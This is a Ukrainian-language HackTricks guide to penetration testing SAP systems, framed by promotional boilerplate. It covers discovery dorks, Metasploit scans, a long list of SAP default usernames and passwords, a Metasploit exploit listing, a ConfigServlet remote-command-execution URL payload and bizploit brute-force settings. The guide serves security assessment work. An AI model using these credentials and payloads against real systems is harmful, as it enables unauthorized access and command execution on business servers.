Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! Інші способи підтримки HackTricks: * Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! * Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) * Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
# Вступ до SAP SAP означає Системи, Застосунки та Продукти в Обробці Даних. SAP, за визначенням, є назвою ERP \(Системи управління підприємством\) програмного забезпечення, а також назвою компанії. Система SAP складається з кількох повністю інтегрованих модулів, які охоплюють практично всі аспекти управління бізнесом. Кожний екземпляр SAP \(або SID\) складається з трьох рівнів: бази даних, додатку та презентації\), кожен ландшафт зазвичай складається з чотирьох екземплярів: розробка, тестування, QA та виробництво. Кожен з рівнів може бути використаний в певній мірі, але найбільший ефект можна отримати, **атакуючи базу даних**. Кожний екземпляр SAP розділений на клієнтів. Кожен має користувача SAP\*, еквівалентного "root" додатку. При початковому створенні цей користувач SAP\* отримує пароль за замовчуванням: "060719992" \(інші паролі за замовчуванням нижче\). Ви зачудуєтеся, як часто ці **паролі не змінюються в тестових або розробницьких середовищах**! Спробуйте отримати доступ до оболонки будь-якого сервера, використовуючи ім'я користувача <SID>adm. Брутфорсинг може допомогти, однак може бути механізм блокування облікового запису. # Відкриття > Наступний розділ в основному взятий з [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) від користувача shipcod3! * Перевірте Область застосування програми або Короткий опис для тестування. Зверніть увагу на імена хостів або екземпляри систем для підключення до SAP GUI. * Використовуйте OSINT \(відкритий джерела розвідки\), Shodan та Google Dorks для перевірки файлів, піддоменів та соковитої інформації, якщо програма доступна в Інтернеті або публічно: ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf inurl:/wsnavigator/jsps/test.jsp inurl:/irj/go/km/docs/ https://www.shodan.io/search?query=sap+portal https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+J2EE+Engine ``` * Ось як виглядає [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) ![Екран входу SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) * Використовуйте nmap, щоб перевірити відкриті порти та відомі служби \(sap routers, webdnypro, web services, web servers, тощо\) * Проіндексуйте URL-адреси, якщо працює веб-сервер. * Fuzz директорії \(можна використовувати Burp Intruder\), якщо вони мають веб-сервери на певних портах. Ось деякі хороші словники, надані проектом SecLists для пошуку типових шляхів SAP ICM та інших цікавих директорій або файлів: [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) * Використовуйте допоміжний модуль Metasploit SAP SERVICE DISCOVERY для переліку екземплярів/служб/компонентів SAP: ```text msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` ## Тестування Товстого Клієнта / SAP GUI Ось команда для підключення до SAP GUI `sapgui <ім'я хоста сервера sap> <номер системи>` * Перевірте наявність типових облікових даних \(У таксономії оцінки вразливостей Bugcrowd це вважається як P1 -> Неправильна конфігурація безпеки сервера \| Використання типових облікових даних \| Продуктовий сервер\): ```text # SAP* - High privileges - Hardcoded kernel user SAP*:06071992:* SAP*:PASS:* # IDEADM - High Privileges - Only in IDES systems IDEADM:admin:* # DDIC - High privileges - User has SAP_ALL DDIC:19920706:000,001 # EARLYWATCH - High privileges EARLYWATCH:SUPPORT:066 # TMSADM - Medium privileges TMSADM:PASSWORD:000 TMSADM:$1Pawd2&:000 # SAPCPIC - Medium privileges SAPCPIC:ADMIN:000,001 # SOLMAN dialog default users and passwords. # For more info check: # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf # https://launchpad.support.sap.com/#/notes/2293011 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems SOLMAN_ADMIN:init1234:* # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems SAPSUPPORT:init1234:* # SOLMAN - High privileges - Only on SOLMAN systems #SOLMAN:init1234:* # Trial systems # ------------- # AS ABAP 7.40 SP08 Developer Edition: # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ DDIC:DidNPLpw2014:001 SAP*:DidNPLpw2014:001 DEVELOPER:abCd1234:001 BWDEVELOPER:abCd1234:001 # AS ABAP 7.50 SP02 Developer Edition: # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ # AS ABAP 7.51 SP02 Developer Edition: # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ DDIC:Appl1ance:000,001 SAP*:Appl1ance:000,001 DEVELOPER:Appl1ance:001 BWDEVELOPER:Appl1ance:001 # AS ABAP 7.51 SP01 Developer Edition: # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ # AS ABAP 7.52 SP04 Developer Edition: # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ DDIC:Down1oad:000,001 SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` * Запустіть Wireshark, а потім аутентифікуйтеся в клієнті (SAP GUI), використовуючи отримані облікові дані, оскільки деякі клієнти передають облікові дані без SSL. Існують два відомих плагіни для Wireshark, які можуть аналізувати основні заголовки, використовувані протоколом SAP DIAG: плагін аналізу SAP від SecureAuth Labs та плагін SAP DIAG від Positive Research Center. * Перевірте можливість підвищення привілеїв, наприклад, використовуючи деякі SAP Transaction Codes (tcodes) для користувачів з низькими привілеями: * SU01 - Для створення та підтримки користувачів * SU01D - Для відображення користувачів * SU10 - Для масового обслуговування * SU02 - Для ручного створення профілів * SM19 - Аудит безпеки - конфігурація * SE84 - Інформаційна система для авторизації SAP R/3 * Перевірте, чи можете ви виконувати системні команди / запускати скрипти в клієнті. * Перевірте можливість виконання XSS на BAPI Explorer # Тестування веб-інтерфейсу * Проіндексуйте URL-адреси (див. фазу відкриття). * Проведіть фазу фаззингу URL-адресів, як у фазі відкриття. Ось як виглядає [http://SAP:50000/index.html](http://sap:50000/index.html): ![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) * Шукайте загальні вразливості веб-додатків (Див. OWASP Top 10), оскільки деякі місця мають вразливості, такі як XSS, RCE, XXE і т. д. * Перевірте методологію Jason Haddix [«Методологія мисливця на помилки»](https://github.com/jhaddix/tbhm) для тестування вразливостей веб-додатків. * Автобайпас аутентифікації через зміну дієслів? Можливо :) * Відкрийте `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, потім натисніть кнопку "Choose", а потім у відкритому вікні натисніть "Search". Ви повинні побачити список користувачів SAP (Посилання на вразливість: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)) * Чи надсилаються облікові дані через HTTP? Якщо так, то це вважається як P3 згідно з [Таксономією рейтингу вразливостей Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Порушення аутентифікації та управління сеансами | Слабка функція входу через HTTP. Підказка: Перевірте [http://SAP:50000/startPage](http://sap:50000/startPage) або портали входу :) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) * Спробуйте `/irj/go/km/navigation/` для можливого переліку каталогів або обхіду аутентифікації * [http://SAP/sap/public/info](http://sap/sap/public/info) містить деяку цікаву інформацію: ```xml 011 4102 BIG IE3 randomnum randomnum BRQ BRQ randomnum ORACLE 740 324 AIX -25200 192.168.1.8 749 randomnum 192.168.1.8 ``` # Атака! * Перевірте, чи працює вона на старих серверах або технологіях, таких як Windows 2000. * Заплануйте можливі вразливості / атаки, існує багато модулів Metasploit для виявлення SAP \(допоміжні модулі\) та експлойти: ```text msf > search sap Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow ``` * Спробуйте використати деякі відомі експлойти \(перевірте Exploit-DB\) або атаки, такі як старий, але ефективний "SAP ConfigServlet Remote Code Execution" в порталі SAP: ```text http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a ``` ![Вразливість RCE сервлету конфігурації SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg) * Перед запуском команди `start` на скрипті bizploit на етапі виявлення, ви також можете додати наступне для проведення оцінки вразливостей: ```text bizploit> plugins bizploit/plugins> vulnassess all bizploit/plugins> vulnassess config bruteLogin bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True bizploit/plugins/vulnassess/config:bruteLogin> back bizploit/plugins> vulnassess config registerExtServer bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw bizploit/plugins/vulnassess/config:registerExtServer> back bizploit/plugins> vulnassess config checkRFCPrivs bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True bizploit/plugins/vulnassess/config:checkRFCPrivs> back bizploit/plugins> vulnassess config icmAdmin bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin bizploit/plugins/vulnassess/config:icmAdmin> back bizploit/plugins> start bizploit/plugins> back bizploit> start ``` # Інші корисні інструменти для тестування * [PowerSAP](https://github.com/airbus-seclab/powersap) - інструмент Powershell для оцінки безпеки SAP * [Burp Suite](https://portswigger.net/burp) - обов'язковий для фаззингу директорій та оцінки безпеки веб-додатків * [pysap](https://github.com/SecureAuthCorp/pysap) - бібліотека Python для створення пакетів мережевого протоколу SAP * [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Допомагає nmap виявляти SAP/ERP ## Посилання * [Тестування на проникнення SAP за допомогою Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) * [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - скрипт для напівавтоматизації Bizploit * [Конфігурація безпеки SAP NetWeaver ABAP частина 3: Стандартні паролі для доступу до додатку](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) * [Список кодів транзакцій ABAP, пов'язаних з безпекою SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) * [Взламування порталу SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) * [Топ-10 найцікавіших вразливостей та атак в SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) * [Оцінка безпеки екосистем SAP за допомогою bizploit: Виявлення](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) * [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859) * [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) * [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! Інші способи підтримки HackTricks: * Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! * Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) * Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.